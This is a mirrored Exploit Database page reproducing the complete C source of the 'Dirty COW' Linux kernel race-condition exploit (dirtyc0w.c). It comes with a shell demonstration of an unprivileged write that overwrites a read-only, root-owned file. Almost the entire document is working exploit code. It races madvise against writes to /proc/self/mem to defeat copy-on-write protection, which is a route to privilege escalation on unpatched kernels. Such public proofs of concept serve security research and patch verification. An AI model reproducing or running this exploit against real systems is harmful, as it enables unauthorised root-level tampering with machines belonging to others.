Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)

• Exploit Database
• 15 阅读

• 作者： Phil Oester
  日期： 2016-10-19
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40611/

• /*
  ####################### dirtyc0w.c #######################
  $ sudo -s
  # echo this is not a test > foo
  # chmod 0404 foo
  $ ls -lah foo
  -r-----r-- 1 root root 19 Oct 20 15:23 foo
  $ cat foo
  this is not a test
  $ gcc -pthread dirtyc0w.c -o dirtyc0w
  $ ./dirtyc0w foo m00000000000000000
  mmap 56123000
  madvise 0
  procselfmem 1800000000
  $ cat foo
  m00000000000000000
  ####################### dirtyc0w.c #######################
  */
  #include <stdio.h>
  #include <sys/mman.h>
  #include <fcntl.h>
  #include <pthread.h>
  #include <unistd.h>
  #include <sys/stat.h>
  #include <string.h>
  #include <stdint.h>
  
  void *map;
  int f;
  struct stat st;
  char *name;
   
  void *madviseThread(void *arg)
  {
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
  /*
  You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
  > This is achieved by racing the madvise(MADV_DONTNEED) system call
  > while having the page of the executable mmapped in memory.
  */
  c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
  }
   
  void *procselfmemThread(void *arg)
  {
  char *str;
  str=(char*)arg;
  /*
  You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
  >The in the wild exploit we are aware of doesn't work on Red Hat
  >Enterprise Linux 5 and 6 out of the box because on one side of
  >the race it writes to /proc/self/mem, but /proc/self/mem is not
  >writable on Red Hat Enterprise Linux 5 and 6.
  */
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
  /*
  You have to reset the file pointer to the memory position.
  */
  lseek(f,(uintptr_t) map,SEEK_SET);
  c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
  }
   
   
  int main(int argc,char *argv[])
  {
  /*
  You have to pass two arguments. File and Contents.
  */
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
  "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
  /*
  You have to open the file in read only mode.
  */
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  /*
  You have to use MAP_PRIVATE for copy-on-write mapping.
  > Create a private copy-on-write mapping.Updates to the
  > mapping are not visible to other processes mapping the same
  > file, and are not carried through to the underlying file.It
  > is unspecified whether changes made to the file after the
  > mmap() call are visible in the mapped region.
  */
  /*
  You have to open with PROT_READ.
  */
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
  /*
  You have to do it on two threads.
  */
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  /*
  You have to wait for the threads to finish.
  */
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
  }